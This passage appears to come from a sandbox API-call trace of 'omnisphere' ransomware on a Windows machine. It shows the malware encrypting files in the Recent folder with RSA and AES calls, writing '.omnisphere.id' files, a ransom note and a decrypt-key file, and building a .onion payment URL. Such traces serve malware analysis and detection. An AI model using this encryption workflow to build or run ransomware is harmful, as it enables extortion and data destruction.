"c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\1kjv1fn7ry_.lnk.omnisphere")) returned 1 [0118.807] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1KJv1fN7ry_.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1KJv1fN7ry_.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1KJv1fN7ry_.lnk.omnisphere.id" [0118.807] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1KJv1fN7ry_.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\1kjv1fn7ry_.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0118.807] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0118.808] CloseHandle (hObject=0x3c0) returned 1 [0118.809] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0118.809] CloseHandle (hObject=0x288) returned 1 [0118.809] SetEndOfFile (hFile=0x28c) returned 1 [0118.809] FlushFileBuffers (hFile=0x28c) returned 1 [0118.818] CloseHandle (hObject=0x28c) returned 1 [0118.818] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1KJv1fN7ry_.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0118.818] GetProcessHeap () returned 0x1600000 [0118.818] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16ac7f0 [0118.818] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0118.818] GetProcessHeap () returned 0x1600000 [0118.818] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x1693e40 [0118.818] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x1693e40, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0118.818] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0118.818] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0118.818] GetProcessHeap () returned 0x1600000 [0118.818] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x1686fe8 [0118.819] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x1686fe8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0118.819] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0118.819] GetProcessHeap () returned 0x1600000 [0118.819] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16a1bd8 [0118.819] PathCombineW (in: pszDest=0x16a1bd8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0118.819] GetProcessHeap () returned 0x1600000 [0118.819] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x16aa800 [0118.819] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0118.819] WriteFile (in: hFile=0x28c, lpBuffer=0x16aa800*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x16aa800*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0118.819] CloseHandle (hObject=0x28c) returned 1 [0118.819] GetProcessHeap () returned 0x1600000 [0118.819] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16ac7f0 | out: hHeap=0x1600000) returned 1 [0118.820] GetProcessHeap () returned 0x1600000 [0118.820] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162cec8 [0118.820] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0118.820] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0118.820] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0118.820] CloseHandle (hObject=0x28c) returned 1 [0118.820] GetProcessHeap () returned 0x1600000 [0118.820] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0118.820] GetProcessHeap () returned 0x1600000 [0118.820] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1656388 | out: hHeap=0x1600000) returned 1 [0118.820] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x203ce32b, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x203ce32b, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x203ce32b, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x4da, dwReserved0=0x0, dwReserved1=0xd3, cFileName="1vHknANfpxmxhu.lnk", cAlternateFileName="1VHKNA~1.LNK")) returned 1 [0118.820] GetProcessHeap () returned 0x1600000 [0118.820] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162cec8 [0118.820] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="1vHknANfpxmxhu.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1vHknANfpxmxhu.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1vHknANfpxmxhu.lnk" [0118.821] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0118.821] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1vHknANfpxmxhu.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\1vhknanfpxmxhu.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0118.821] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=1242) returned 1 [0118.821] GetTickCount () returned 0x115db1a [0118.821] GetTickCount () returned 0x115db1a [0118.821] GetTickCount () returned 0x115db1a [0118.821] GetTickCount () returned 0x115db1a [0118.821] GetTickCount () returned 0x115db1a [0118.821] GetTickCount () returned 0x115db1a [0118.821] GetTickCount () returned 0x115db1a [0118.821] GetTickCount () returned 0x115db1a [0118.821] GetTickCount () returned 0x115db1a [0118.821] GetTickCount () returned 0x115db1a [0118.821] GetTickCount () returned 0x115db1a [0118.821] GetTickCount () returned 0x115db1a [0118.821] GetTickCount () returned 0x115db1a [0118.821] GetTickCount () returned 0x115db1a [0118.821] GetTickCount () returned 0x115db1a [0118.821] GetTickCount () returned 0x115db1a [0118.821] GetTickCount () returned 0x115db1a [0118.822] GetTickCount () returned 0x115db1a [0118.822] GetTickCount () returned 0x115db1a [0118.822] GetTickCount () returned 0x115db1a [0118.822] GetTickCount () returned 0x115db1a [0118.822] GetTickCount () returned 0x115db1a [0118.822] GetTickCount () returned 0x115db1a [0118.822] GetTickCount () returned 0x115db1a [0118.822] GetTickCount () returned 0x115db1a [0118.822] GetTickCount () returned 0x115db1a [0118.822] GetTickCount () returned 0x115db1a [0118.822] GetTickCount () returned 0x115db1a [0118.822] GetTickCount () returned 0x115db1a [0118.822] GetTickCount () returned 0x115db1a [0118.822] GetTickCount () returned 0x115db1a [0118.822] GetTickCount () returned 0x115db1a [0118.822] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x16683d8) returned 1 [0118.823] CryptImportKey (in: hProv=0x16683d8, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x1639b28) returned 1 [0118.823] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0118.823] CryptDestroyKey (hKey=0x1639b28) returned 1 [0118.823] CryptReleaseContext (hProv=0x16683d8, dwFlags=0x0) returned 1 [0118.823] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4da, lpName=0x0) returned 0x288 [0118.823] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4da) returned 0x1480000 [0118.823] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x16691a8) returned 1 [0118.824] CryptImportKey (in: hProv=0x16691a8, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639b28) returned 1 [0118.824] CryptSetKeyParam (hKey=0x1639b28, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0118.824] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0118.824] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.824] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.824] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.824] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.824] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.824] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.824] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.825] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.825] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.825] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.825] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.825] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.825] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.825] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.825] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.825] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.825] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.825] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.825] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.825] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.825] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.825] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.825] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.825] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.825] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.825] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.825] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.825] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.825] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.825] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.826] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.826] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.826] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.826] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.826] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.826] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.826] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.826] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.826] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.826] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.826] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.826] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.826] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.826] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.826] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.826] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.826] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.826] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.826] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.826] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.826] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.826] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.826] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.826] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.826] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.826] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.827] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.827] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.827] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, 